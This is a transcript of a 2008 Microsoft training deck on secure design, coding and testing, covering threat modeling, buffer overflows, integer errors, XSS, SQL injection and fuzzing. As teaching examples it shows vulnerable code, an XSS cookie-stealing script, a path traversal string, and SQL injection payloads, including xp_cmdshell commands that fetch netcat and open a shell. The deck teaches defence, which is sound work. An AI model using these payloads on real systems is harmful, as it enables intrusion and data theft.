Presentation is loading. Please wait.

Presentation is loading. Please wait.

Basics of Secure Design, Development, and Test

Similar presentations

Presentation on theme: "Basics of Secure Design, Development, and Test"— Presentation transcript:

1 Basics of Secure Design, Development, and Test
Secure software made easier <Date> <Presenter>

2 Motivation In this course, we will:
Look at the Microsoft Security Development Lifecycle (SDL) Briefly review some secure design, development, and test concepts Explore the security issues that arise if these design, coding, and test principles are not properly applied This will provide you with information that you can use to make your software more secure

3 Agenda Microsoft Security Development Lifecycle (SDL) overview
Module 1: Secure Design Attack Surface Reduction Threat Modeling Module 2: Secure Development Buffer overflows Integer arithmetic errors Canonicalization issues Managed Code: Cross-site scripting (XSS) Managed Code: SQL injection Cryptography Code Review Module 3: Security Testing Fuzz Testing

4 Microsoft Security Development Lifecycle (SDL)

5 Working to protect our users…
Education Process Accountability Administer and track security training Guide product teams to meet SDL requirements Establish release criteria and sign-off as part of FSR Incident Response (MSRC) Ongoing Process Improvements

6 Very Encouraging Results!
Total Vulnerabilities Disclosed 12 Months After Release Total Vulnerabilities Disclosed 36 Months After Release Before SDL After SDL 45% reduction in Vulnerabilities Before SDL After SDL 91% reduction in Vulnerabilities Consistent application of sound security practices during all phases of a development project will result in fewer vulnerabilities

7 Still Much to Be Done: The Pain of "Blaster"
Two lines of C code in RPCSS while (*pwszTemp != L'\\') *pwszServerName++ = *pwszTemp++; Led to >1,500,000 infected computers 3,370,000 Product Support Services (PSS) calls in September 2003 (normal virus volume is 350,000) Plenty of negative commentary " This [is] going to raise the level of frustration to the point where a lot of organizations will seriously contemplate alternatives to Microsoft" Gartner "There's definitely caution warranted here. [Microsoft's security] efforts were sincere, but I am not sure if they were sincere enough" Forrester

8 The Horrible Truth No matter how much effort we expend, we will never get code 100 percent correct This is an asymmetric problem We must be 100 percent correct, 100 percent of the time, on a schedule, with limited resources, only knowing what we know today Oh, and the product has to be reliable, supportable, compatible, manageable, affordable, accessible, usable, global, doable, deployable… They can spend as long as they like to find one bug, with the benefit of future research We’re human and our tools are far from perfect There’s still a business case for improving security now

9 The Horrible Truth (continued)
Tools make it easy to build exploit code Reverse engineering tools Structural Comparison of Executable Objects, Halvar Flake PCT Bug: "Detecting and understanding the vulnerability took less than 30 minutes" H.323 ASN.1 Bug: "The total analysis took less than three hours time" Exploit payloads

10 Enter some details… Here’s the ‘sploit code! Choose your ‘sploit

11 The Horrible Truth (concluded)
Don't be a statistic: A worm or serious vulnerability in any major product can have devastating impact to you and your users In general: Cost for attacker to build attack is very low Cost to your users is very high Cost of reacting is higher than cost of defending

12 Module 1: Secure Design

13 Attack Surface Reduction (ASR)
Module 1: Secure Design Attack Surface Reduction (ASR)

14 The Attack Surface Reduction Process
Look at all of your entry points Network I/O File I/O Rank them Authenticated versus anonymous Administrator only versus user Network versus local UDP versus TCP

15 Watch Out for Fanout! File formats Verbs Subprotocols
For example, JPG, MSH, or GIF HTTP Classic GET, POST, HEAD, DELETE WebDAV PROPPATCH, PROPFIND, MOVE, LOCK SMTP HELO, EHLO, MAIL, RCPT Queries Extended sprocs and sprocs SSL2, SSL3, TLS, PCT Subprotocols

16 It’s Not Just About Turning Stuff Off!
Higher Attack Surface Lower Attack Surface Executing by default Off by default Open socket Closed socket UDP TCP Anonymous access Authenticated access Constantly on Intermittently on Admin access User access Internet access Local subnet access SYSTEM Not SYSTEM! Uniform defaults User-chosen settings Large code Small code Weak ACLs Strong ACLs

17 ASR Examples Windows SQL Server 2005 Authenticated RPC
Firewall on by default xp_cmdshell off by default CLR and COM off by default Network service Internet Information Services version 6 (IIS6) Visual Studio® 2005 Web server localhost only SQL Server Express localhost only Off by default Network service by default Static files by default

18 Attack Surface Reduction is as important as trying to get the code right

19 Module 1: Secure Design Threat Modeling

20 Threat Analysis Secure software starts with understanding the threats
Threats are not vulnerabilities Threats live forever; they are the attacker's goal Mitigation Attacker Threat Vulnerability

21 The Process in a Nutshell
Vision Model Identify Threats Mitigate Validate

22 Whiteboard Your Architecture
Start with person, processes, data flows, data stores Unique shape per item Data flows should be one way each Label them with data, not read/write Draw attack surfaces/trust boundaries Tell a story to see if your picture is ok Data Flow Function call Network traffic Remote Procedure Call (RPC) People Other systems External Entity DLLs EXEs COM object Components Services Web Services Assemblies Process Database File Registry Shared Memory Queue / Stack Data Store Process Boundary File system Trust Boundary

23 Find Threats: Use STRIDE per Element
Start with items connected to dangerous data flows (those crossing boundaries) Use the chart to help you think of attacks Keep a running list S T R I D E P External Entity Process Data Store Data Flow

24 Understanding the STRIDE Threats
Property Definition Example Spoofing Authentication Impersonating something or someone else. Pretending to be any of billg, or ntdll.dll Tampering Integrity Modifying data or code Modifying a DLL on disk or DVD, or a packet as it traverses the LAN. Repudiation Non-repudiation Claiming to have not performed an action. “I didn’t send that ,” “I didn’t modify that file,” “I certainly didn’t visit that web site, dear!” Information Disclosure Confidentiality Exposing information to someone not authorized to see it Allowing someone to read the Windows source code; publishing a list of customers to a web site. Denial of Service Availability Deny or degrade service to users Crashing Windows or a web site, sending a packet and absorbing seconds of CPU time, or routing packets into a black hole. Elevation of Privilege Authorization Gain capabilities without proper authorization Allowing a remote internet user to run commands is the classic example, but going from a limited user to admin is also EoP.

25 Mitigation Techniques
Threat Mitigation Feature Spoofing Authentication Tampering Integrity Repudiation Nonrepudiation Information Disclosure Confidentiality Denial of Service Availability Elevation of Privilege Authorization

26 Mitigating Your Threats
For each threat, decide how to stop it Redesign and eliminate Use standard threat mitigations Invent new mitigation (not recommended!—seek help) Accept risk in accordance with SDL bug bar File a work item in your bug tracking DB Treat threats as bugs, mitigations as features

27 Validate Check threat model diagrams
Do they match the design docs or code? Check your bug DB work items are all Closed as completed QA’d

28 Context Diagram Services for Macintosh

29 Diagrams Should Not Resemble
Flow charts Class diagrams Call graphs

30 Determining Threat Types
TID 6.0 SR TID 5.0 STRIDE 7.0 1.0 Each element in the Data Flow Diagram (DFD) is susceptible to one or more threat types 8.0 10.0 2.0. 11.0 9.0 4.0 3.0

31 DFD Elements Are Threat Targets: A “Work List”
Data Flow S T R I D E 1à5 P 5à6 6à7 7à8 Data Store 7 9 11 Interactor 1 2 8 Process 3 4 5 6 10 Each  is a potential threat to the system Each threat is governed by the conditions which make the threat possible

32 A Special Note About Information Disclosure Threats
All information disclosure threats are potential privacy issues Is the data sensitive or PII?

33 Call to Action Threat model something Go breadth-first Have fun
Like your program! If you’re stuck, threat model a different program Go breadth-first Have fun Seek more intensive training "Introduction to Threat Modeling"

34 Threat Model Checklist
No design is complete without a threat model! Follow anonymous data paths Every threat needs a security test plan Check all information disclosure threats – are they privacy issues? threat vuln software

35 Summary Defined the SDL
Described the Attack Surface Reduction process with some examples of its positive impact Explained the importance of threat models and described the use of DFDs and threat trees during the threat modeling process

36 Question 1: Which of the following is an example of low attack surface?
User-controlled settings Weak ACLs Internet access

37 Question 2: Information disclosure is caused by a breach of…?
Privacy Security Both

38 Question 3: Which mitigation technique can be used to protect against the STRIDE spoofing threat?
Integrity Authentication Availability Authorization

39 Module 2: Secure Development

40 Module 2: Secure Development
Buffer Overflows

41 What Are Buffer Overflows (BOs)?
External data is larger than the destination Overflowing the destination tramples some sensitive, in-memory construct that determines execution flow Causing the application to change execution flow To the attacker’s code that is included in the data Cause: Trusting input C/C++ code the most common victim Direct access to memory

42 Stack Buffer Overflows at Work
Function return address Exception Handlers Function Pointers Virtual Methods All determine execution flow Buffers Other vars EBP EIP Args void func(char *p, int i) { int j = 0; CFoo foo; int (*fp)(int) = &func; char b[128]; strcpy(b,p); } 0wn3d! Bad things happen if *p points to data longer than b

43 Buffer Overflow Examples SQL Server Instance Resolution (MS02-039)
#define INSTREGKEY "SOFTWARE\\Microsoft\\Microsoft SQL Server\\" #define MAX_RECV_MSG 256 void SsrpSvr(LPSTR szInstanceName) { BYTE rgbRecvBuf[MAX_RECV_MSG]; ... ssrpMsg = SsrpRecvMsg(rgbRecvBuf); switch(ssrpMsg) { case CLNT_UCAST_INST: // Verb #4 SsrpEnum((LPSTR)&rgbRecvBuf[1]); } SSRPMSGTYPE SsrpRecvMsg(BYTE *rgbRecvBuf) { bytesRecd = recvfrom( gSvrSock, (char*)rgbRecvBuf, MAX_RECV_MSG, 0, (SOCKADDR *)&gclientAddr, &cClientAddr ); return((SSRPMSGTYPE)rgbRecvBuf[0]); BOOL SsrpEnum(LPSTR szInstName, ...) { char szregVersion[128]; sprintf(szregVersion,"%s%s\\MSSQLServer\\CurrentVersion",INSTREGKEY,szInstName); Sitting on port 1434—The Internet Read no more than 256 bytes from the network Then copy into a 128-byte buffer

44 Heap Overflows at Work 0wn3d! Heap Block Heap Block Heap Block
Write a DWORD anywhere in memory when block is free()’d 0wn3d! Heap Block Heap Block Heap Block Pointer to next block Pointer to prior block A1 D1 A2 D2 On block free: D1  [A1] D2  [A2]

45 Zotob (PnP Code) Sitting on port 445— the Internet
CONFIGRET ResDesToNtResource( IN PCVOID ResourceData, IN RESOURCEID ResourceType, IN ULONG ResourceLen, IN PCM_PARTIAL_RESOURCE_DESCRIPTOR pResDes, IN ULONG ulTag ) { case ResType_ClassSpecific: { PCS_RESOURCE pCsData = (PCS_RESOURCE)ResourceData; LPBYTE ptr = NULL; ptr = (LPBYTE)((LPBYTE)pResDes + sizeof(CM_PARTIAL_RESOURCE_DESCRIPTOR)); memcpy(ptr, pCsData->CS_Header.CSD_Signature pCsData->CS_Header.CSD_LegacyDataOffset, pCsData->CS_Header.CSD_LegacyDataSize); Sitting on port 445— the Internet Amount of data to copy is controlled by the attacker

46 The 'n'-Functions Are Safe? Right?!
// Example #1 (code verifies pszSrc is <= 50 chars) #define MAX (50) char *pszDest = malloc(sizeof(pszSrc)); strncpy(pszDest,pszSrc,MAX); sizeof is 4 bytes, not 50 // Example #2 #define MAX (50) char szDest[MAX]; strncpy(szDest,pszSrc,MAX); String not null-terminated if len(pszSrc) >= MAX // Example #3 #define MAX (50) char szDest[MAX]; strncpy(szDest,pszSrc,strlen(pszSrc)); Wrong buffer size!

47 The 'n'-Functions Are Safe? Right?!
// Example #4 #define MAX (50) char szDest[MAX]; strncpy(szDest,pszSrc,MAX); pszDest[MAX] = '\0'; Wrote NULL to element 51, not 50! // Example #5 #define MAX (50) char szDest[MAX]; strncpy(szDest,pszSrc,MAX-1); strncat(szDest,pszSrc,MAX-1); MAX-1 is not the total destination buffer size!

48 The 'n'-Functions Are Safe? Right?!
// Example #6 char szDest[50]; _snprintf(szDest, strlen(szDest), "%s",szSrc); szDest contains junk! strlen(szDest) is random! // Example #7 void func(char *p) { char szDest[MAX]; strncpy(szDest,p,MAX); szDest[MAX-1] = '\0'; } What if p == NULL? You should always use safe variants of the str calls: str*_s

49 Fixing Buffer Overflows
Search for "risky" functions and determine data origin /GS, NX, ASLR and heap checking Better libraries and classes (strsafe,Safe CRT, STL) Fuzz tests Reduce attack surface /analyze and SAL

50 Memory Defenses Stack BO detection (aka /GS, enabled by default in VC ) Detects some stack-based overruns Rearranges the stack so buffers are in higher memory (helps protect variables) Moves various arguments to lower memory Exception handler protection (aka /SafeSEH, enabled by default in VC linker) Exception addresses are verified at runtime

51 Memory Defenses Data Execution Protection (aka NX/XD, enabled by default†) Harder to execute date In Windows Vista, DEP cannot be disabled once turned on process † Most CPUs today support DEP, but make sure it's enabled in the BIOS

52 Memory Defenses Heap defenses (all enabled by default)
Lookasides gone Arrays of free lists gone Early detection of errors due to block header integrity check ENTRY->Flink->Blink == ENTRY->Blink->Flink == ENTRY Use HeapSetInformation(NULL, HeapEnableTerminationOnCorruption, NULL, ) Integer overflow calling operator::new automatically detected at runtime (by default)

53 Memory Defenses Image randomization (ASLR)
System images are loaded randomly into 1 of 256 'slots' Changes on each boot To be effective ASLR requires DEP Enabled by default Link with /dynamicbase for non-system images Stack is randomized for each new thread (by default) Heap is randomized (by default) Long-lived pointers are encoded and decoded A successful pointer overwrite must survive the decoding process (XOR with a random number) Use Encode[System]Pointer and Decode[System]Pointer

54 Defenses Summary Mandatory use of compiler security options
/GS flag (runtime stack BO detection) /SafeSEH (runtime exception checking) /NXCompat (NX support) /DynamicBase (ASLR support) /robust switch for MIDL compiler

55 Integer Arithmetic Errors
Module 2: Secure Development Integer Arithmetic Errors

56 Integer Arithmetic Attacks
Integer arithmetic is a generic name for a set of common integer arithmetic mistakes Overflow and underflow Signed versus unsigned errors Truncation They can lead to attacker control of program flow

57 Integer Arithmetic Attacks
int ConcatBuffers(char *buf1, char *buf2, size_t len1, size_t len2){ char buf[0xFF]; if((len1 + len2) > 0xFF) return -1; memcpy(buf, buf1, len1); memcpy(buf + len1, buf2, len2); // do stuff with buf return 0; } len1 len2 0x103 + 0xFFFFFFFC 0xFF Both memcpy functions attempt to copy >255 bytes

58 Integer Overflow Attacks GDI+ JPG Rendering (MS04-028)
BOOL GpJpegDecoder::read_jpeg_marker( IN j_decompress_ptr cinfo, IN SHORT app_header, OUT VOID **ppBuffer, OUT UINT16 *pLength ) { VOID *pBuffer; UINT16 length; INPUT_VARS(cinfo); INPUT_2BYTES(cinfo, length, return FALSE); *pLength = length+2; pBuffer = GpMalloc(length+2); ... INT len = length - 2; GpMemcpy(p, cinfo->src->next_input_byte, len); 0xFFFE + 0x02 == 0x00 0xFFFFFFFE - 0x02 == 0xFFFFFFFC

59 Integer Overflow Attacks Custom Memory Allocations
#define _BLOCKSIZE 64 void *_MemAlloc(size_t cb) { // Round to nearest block size size_t cbr = (cb + _BLOCKSIZE - 1) & ~(_BLOCKSIZE – 1); return malloc(cbr); } If cb = 0xffffffff, then cbr == 0

60 Unmanaged Code Interop Issues
public int CopyData(byte[] inputBuffer, int inputOffset, int inputCount, byte[] outputBuffer) { if (inputOffset >= inputBuffer.Length) throw new Exception(); if (inputCount > inputBuffer.Length) throw new Exception(); if (inputOffset + inputCount < inputOffset) throw new Exception(); if (inputBuffer.Length < inputOffset + inputCount) throw new Exception(); _UnmanagedCopy(..., inputBuffer, inputOffset, inputCount); -1 All the checks are against signed ints C++ _UnmanagedCopy(..., BYTE *inputBuffer, DWORD inputOffset, DWORD inputCount) { memcpy(pb, inputBuffer + inputOffset, inputCount); } 0xFFFFFFFF

61 Standard Annotation Language (SAL)
Defines interface contracts Helps tools find bugs Annotate your headers using SAL Used by latest PREfast References SAL Annotations: C Run-Time Library Reference ms aspx A Brief Introduction to the Standard Annotation Language (SAL) 2006/05/19/ aspx

62 Standard Annotation Language (SAL)
DWORD WINAPI BluetoothGetServicePnpInstance( BLUETOOTH_ADDRESS * pDeviceAddress , GUID * ServiceGuid , ULONG InstanceId , _Out_cap_(BufferSize) WCHAR * Buffer , ULONG BufferSize , HKEY * phKey ); Informs compiler that Buffer is BufferSize WCHARs It's an out parameter, so it does not need initializing (else _In_out_) NULL is not valid (else _opt)

63 Remedy: Integer Arithmetic
Any calculation used to determine an array offset or memory allocation is suspect Use unsigned variables for array indexes and buffer sizes Ints are signed in Managed Code Watch out for: C4018 and C4389 compiler warnings (signed and unsigned mismatch) C4244 compiler warnings (conversion from "type1" to "type2"; possible loss of data) #pragma and casts that shut the compiler up!

64 Remedy: Integer Arithmetic
#define MAX_ALLOC (1024*1024*4) if (num <= (MAX_ALLOC/sizeof(T))){ T *p = malloc(num * sizeof(T)); } size_t cb = num * sizeof(T); if (num == cb/sizeof(T)) { T *p = malloc(cb); } size_t cb = num * sizeof(T); T *p = malloc(cb); // Howard (C/C++ IntOverflow.h) if (UMul(num,sizeof(T),&cb)) { T *p = malloc(cb); } T *p = new T[num]; // LeBlanc (C++ SafeInt.hpp) SafeInt<size_t>cbFoo(sizeof(T)); SafeInt<size_t>cb = cbFoo * num; T *p = malloc(cb) // Windows C/C++ sdk/inc/intsafe.h // and ddk/inc/ntintsafe.h if (SUCCEEDED(SizeTMult(num,sizeof(T),&cb))) T *p = malloc(cb); }

65 BO / IA Checklist Just fix 'em!
Build defensive code and add defensive layers (like /GS) Use the latest version of VC++ /GS Use safer string libraries Use /analyze and SAL All arithmetic used to calculate memory allocations is probably wrong!

66 Canonicalization Issues
Module 2: Secure Development Canonicalization Issues

67 Canonicalization Issues
Never make a security decision based on the name of something Chances are good that you’ll get it wrong Often, there is more than one way to name something if && // go away

68 Canonicalization Issues: Example 1
SecretFile.txt SecretFile.txt. Secret~1.txt SecretFile.txt::$DATA

69 Canonicalization Issues: Example 2

70 Canonicalization Issues: Example 3

71 Managed Code: Cross-Site Scripting (XSS)
Module 2: Secure Development Managed Code: Cross-Site Scripting (XSS)

72 Cross-Site Scripting (XSS)
Very common vulnerability An issue in a Web server leads to a compromised client (and more) The fault is simply trusting input and then echoing it!

73 XSS in Action: Cookie Stealing
Welcome.asp Hello, <%= request.querystring(′name′)%> <a href= <script>document.write (′<img src=″″%2bdocument.cookie%2b>′) </script>here</a>

74 XSS in Action: "Defacement"
/location=<script>document.images[4].src= ""</script>

75 Crystal Reports Vulnerability MS04-017
public class CrystalImageHandler : WebControl { private string tmpdir = null; protected override void Render(HtmlTextWriter writer) { string filepath; string dynamicImage = (string)Context.Request.QueryString.Get("dynamicimage"); if (tmpdir == null) { tmpdir = ViewerGlobal.GetImageDirectory(); } filePath = tmpdir + dynamicImage; FileStream imagestream = new FileStream (filePath, FileMode.Open, FileAccess.Read); // stream file to user File.Delete (filePath); (1) Get filename from querystring (2) Open file (3) Stream file to user (4) Delete file! crystalimagehandler.aspx?dynamicimage=..\..\boot.ini

76 Remedies: XSS Validate all input
Never directly echo Web-based user input At the very least, HTML encode the output ASP.NET 1.1 adds the ValidateRequest option Use AntiXSS Use HttpOnly cookie option Prevents access to client-side script in IE6 SP1 and later (used by Hotmail) Use <frame> security attribute Supports Internet Explorer security zone settings

77 Managed Code: SQL Injection
Module 2: Secure Development Managed Code: SQL Injection

78 SQL Injection: C# string Status = "No"; string sqlstring =""; try {
SqlConnection sql= new SqlConnection( @"data source=localhost;" + "user id=sa;password=password;"); sql.Open(); sqlstring="SELECT HasShipped" + " FROM Shipment WHERE ID='" + Id + "'"; SqlCommand cmd = new SqlCommand(sqlstring,sql); if ((int)cmd.ExecuteScalar() != 0) Status = "Yes"; } catch (SqlException se) { Status = sqlstring + " failed\n\r"; foreach (SqlError e in se.Errors) { Status += e.Message + "\n\r"; } } catch (Exception e) { Status = e.ToString(); Hard to guess password! Connecting as sysadmin String concat for dynamic SQL Telling the bad guy too much on failure

79 Why It's Wrong (1 of 3) Good Guy Not So Good Guy
sqlstring="SELECT HasShipped" + " FROM Shipment WHERE ID='" + Id + "'"; Good Guy SELECT HasShipped FROM Shipment WHERE ID='1001' Not So Good Guy SELECT HasShipped FROM Shipment WHERE ID= '1001' or 2>1 -- '

80 Why It's Wrong (2 of 3) Really Bad Guy Downright Evil Guy
sqlstring="SELECT HasShipped" + " FROM Shipment WHERE ID='" + Id + "'"; Really Bad Guy SELECT HasShipped FROM Shipment WHERE ID= '1001' ; drop table orders -- ' Downright Evil Guy SELECT HasShipped FROM Shipment WHERE ID= '1001’ ; exec xp_cmdshell('...') -- '

81 Why It's Wrong (3 of 3) Your Worst Nightmare!
exec xp_cmdshell 'tftp -i GET nc.exe c:\nc.exe' 0wns nc.exe -l -p 31337 exec xp_cmdshell 'c:\nc.exe -v -e cmd.exe '

82 Remedy: Do Not Trust User Input
Validate all input All input is evil until proven otherwise Look for data that matches the expected use, and reject everything else is a valid URL… …On a non-existant server… …Which you likely don’t want to visit Constrain, reject, and sanitize Type checks (for example, numeric only) Length checks (for example, buffer must be < n bytes) Range checks (for example, A-Z a-z) Format checks (for example, name) Validator.ValidationExpression =

83 Remedies: SQL Injection
Validate all input Use parameterized queries Consider allowing access to sprocs and not allowing access to underlying tables Use parameterized queries with sprocs SqlDataAdapter cmd = new SqlDataAdapter("exec conn); SqlParameter parm =

84 ; deldeleteete from table
Do not look only for "bad things"; it assumes you know all the "bad things" ; deldeleteete from table ; deldeleteete from table

85 Input Error Checklist All input is evil!!!!!
Don't look for "bad" things!

86 Module 2: Secure Development

87  Storing Secrets Software cannot defend itself, therefore:
Storing secrets securely in software is impossible! Embedded "secrets" don't stay secret for long

88 Storing Secrets DPAPI is the required method Crypt[Un]ProtectData
Easy access to platform-provided cryptography Crypt[Un]ProtectData Managed wrappers available pre-.NET 2.0 .NET 2.0 adds ProtectedData class Introduced in Windows 2000 Preferable to Local Security Authority (LSA) secrets

89 Weak Crypto Don’t create your own crypto algorithms
Use CryptoAPI, CAPICOM, and System.Security.Cryptography MD4, MD5, RC4, DES, and SHA1 banned for new code AES and SHA256 okay

90 Module 2: Secure Development
Code Review

91 Managed Code Issues Code Access Security (CAS) != Secure Code!
Be wary of granting certain permissions to your code SecurityPermission, UnmanagedCode, SkipVerification, ControlEvidence, and ReflectionPermission Run FxCop or /analyze regularly Read Secure Coding Guidelines on MSDN Managed Code: Native Code: k3a3hzw7(VS.80).aspx View ".NET Framework Security Best Practices": en-us/ security/aa aspx

92 Audit Extensively: LinkDemand
Unlike a Demand, does not perform a full run-time stack-walk Checks the immediate caller during JIT compile FileIOPermission? FileIOPermission? Your code ReadFile ReadFile Demand LinkDemand

93 Audit Extensively: Partial Trust
AllowPartiallyTrustedCallersAttribute [assembly:AllowPartiallyTrustedCallers] APTCA == "bring it on, hax0rs!" Applies to strong-named assemblies Disables LinkDemand:FullTrust Allows code from the Internet to call your code Is that what you really want? Managed C++ and APTCA don’t mix

94 Audit Extensively: Asserts
Are your protected actions safe? Note: Your code must be granted the permission you are asserting and have permission to assert FileIOPermission? Assert FileIOPermission ReadFile ReadFile

95 Audit Extensively: Asserts
[FileIOPermission(SecurityAction.Assert, public void CreateLogFile() { StreamWriter TextStream = new } [FileIOPermission(SecurityAction.Assert)] public void CreateLogFile(string log) { StreamWriter TextStream = new StreamWriter(log); }

96 Audit Extensively P/Invoke and COM Interop
Your gateway to buffer overflows!

97 Audit Extensively Readonly isn’t read-only!
static readonly byte[] keysizes = new byte[] {64,112,128,160,196}; static void Main(string[] args) { keysizes[1] = 8; }

98 Don’t Forget Managed Code Integer Arithmetic Bugs
Int16 i = getFromNetwork(); if (i <= MAX) { i++; Int32 j = 8192 / i; } Int16 req; ... while (true) { getRequest(); req++; arr[req] = DateTime.Now; }

99 Summary Demonstrated how failing to validate input can cause security issues, such as buffer overflows, XSS, and SQL injection Demonstrated how these issues can be eliminated by creating secure code with examples Explained the importance of code reviews in creating secure code

100 Question 1: Which security issue is most likely to impact C/C++ code?
SQL injection Buffer overflows Cross-site scripting

101 Question 2: Which bug type is exacerbated by using signed integers?
Cross-site scripting Buffer overflows SQL injection Integer arithmetic errors

102 Question 3: Which of the following results in canonicalization vulnerability?
Trusting an input value based on its name Echoing input directly in Web-based output Performing an incorrect integer arithmetic operation on the input

103 Question 4: Which of the following is not an immediate impact of XSS attacks?
Web-site defacement Remote code execution on the server Cookie theft

104 Question 5: Which security issue can be mitigated by using parameterized queries?
Cross-site scripting Buffer overflow SQL injection

105 Module 3: Security Testing

106 Buffer overflow in authentication
Security Testing Traditional faults Actual software functionality Unintended, undocumented, or unknown functionality Intended functionality No authentication Missing defenses Weak authentication Poor defenses Buffer overflow in authentication Extra “functionality”

107 What Is Fuzzing? Randomized application of malformed data in a search for vulnerabilities Distinguishing characteristics Methodical Random values Explicit search for vulnerabilities / reliability failures Large number of test cases Expected outcome: It does not fail Does not fit neatly into typical test case development Coined by Bart Miller, An Empirical Study of the Reliability of UNIX Utilities (Miller, Fredriksen and So, 1990) Critics might call it a shotgun approach, but shotguns are more useful than rifles or lasers in many applications

108 How to Fuzz Tools! Tools! Tools!
Determine all of the entry points to your code Network ports and protocols Files and file types Rank them by privilege level and accessibility Anonymous, user, and admin Remote and local

109 Attackers Are Unconstrained
Rule #1: There are no rules Attacks by admins are uninteresting If you provide a client to access the server, don’t use it! Mimic the client in code If you rely on a specific service, build a bogus one

110 Fuzz Across Trust Boundaries
Look for privilege elevation boundaries Pushing data from low-privilege to high-privilege process Admin: Full Control Everyone: Read SYSTEM Everyone: Write

111 Security Testing Checklist
Build fuzzers for all consumed resources (such as files or net protocols) Tools! Tools! Tools! SDL Fuzzing requirements cover Files RPC endpoints ACtiveX Controls Generalized network fuzzing is probably the next step Security Testing Checklist Fuzz!

112 Question: Which of the following is not a characteristic of fuzz testing?
It is an explicit search for vulnerabilities or reliability failures It involves a large number of test cases, which are not individually compelling It is exploratory, as opposed to methodical Its expected outcome is does not fail

113 Overall Summary The SDL integrates security activities in all of the phases of product development Activities such as attack surface reduction and threat modeling are part of the secure design phase Input validation is a very important secure coding principle; failure to do so results in serious security issues Code reviews in the verification phase helps to ensure that coding errors that result in security and privacy bugs are detected and fixed Security testing—particularly fuzz testing—helps expose errors that may introduce security vulnerabilities

114 Learning More Training Books
"Introduction to the Microsoft Security Development Lifecycle" "Introduction to Threat Modeling" "Privacy in Software Development" Books The Security Development Lifecycle: SDL: A Process for Developing Demonstrably More Secure Software (Howard, Lipner, 2006) "Threat Modeling" chapter Writing Secure Code, Second Edition (Howard, LeBlanc, 2002)

115 Resources SDL Portal SDL Blog
SDL Process on MSDN(Web) SDL Process on MSDN(MS Word)

116 Questions?

117 © 2008 Microsoft Corporation. All rights reserved
© 2008 Microsoft Corporation. All rights reserved. Microsoft, Windows, Windows Vista and other product names are or may be registered trademarks and/or trademarks in the U.S. and/or other countries. The information herein is for informational purposes only and represents the current view of Microsoft Corporation as of the date of this presentation. Because Microsoft must respond to changing market conditions, it should not be interpreted to be a commitment on the part of Microsoft, and Microsoft cannot guarantee the accuracy of any information provided after the date of this presentation. MICROSOFT MAKES NO WARRANTIES, EXPRESS, IMPLIED OR STATUTORY, AS TO THE INFORMATION IN THIS PRESENTATION.

Download ppt "Basics of Secure Design, Development, and Test"

Similar presentations

Ads by Google